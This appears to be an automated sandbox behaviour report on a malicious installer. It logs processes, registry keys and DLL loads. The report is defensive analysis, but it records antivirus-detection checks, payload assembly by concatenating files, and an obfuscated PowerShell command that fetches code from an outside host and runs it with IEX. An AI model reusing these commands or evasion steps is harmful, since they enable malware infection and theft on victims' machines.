Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe.12.dr	Static PE information: Number of sections : 11 > 10
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.19.dr	Static PE information: Number of sections : 11 > 10

Source: installer_1.05_36.7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/39@5/3

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

0_2_004044A5

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Compatible

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2004:120:WilError_03

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

File created: C:\Users\user\AppData\Local\Temp\nshAC1D.tmp

Jump to behavior

Source: installer_1.05_36.7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: installer_1.05_36.7.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

File read: C:\Users\user\Desktop\installer_1.05_36.7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\installer_1.05_36.7.exe "C:\Users\user\Desktop\installer_1.05_36.7.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 739749
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Buys
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "encourage" Legend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 739749\Peas.com + Principles + Delight + Leader + Shareholders + Scientific + Optimal + Accessing + Examine + Appearance + Specialist 739749\Peas.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Nt + ..\Sydney + ..\Nominations + ..\Colour + ..\Friend + ..\Compatible + ..\South + ..\Advice x
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com Peas.com x
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp "C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$60416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp "C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$70416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 739749	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Buys	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "encourage" Legend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 739749\Peas.com + Principles + Delight + Leader + Shareholders + Scientific + Optimal + Accessing + Examine + Appearance + Specialist 739749\Peas.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Nt + ..\Sydney + ..\Nominations + ..\Colour + ..\Friend + ..\Compatible + ..\South + ..\Advice x	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com Peas.com x	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp "C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$60416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp "C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$70416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
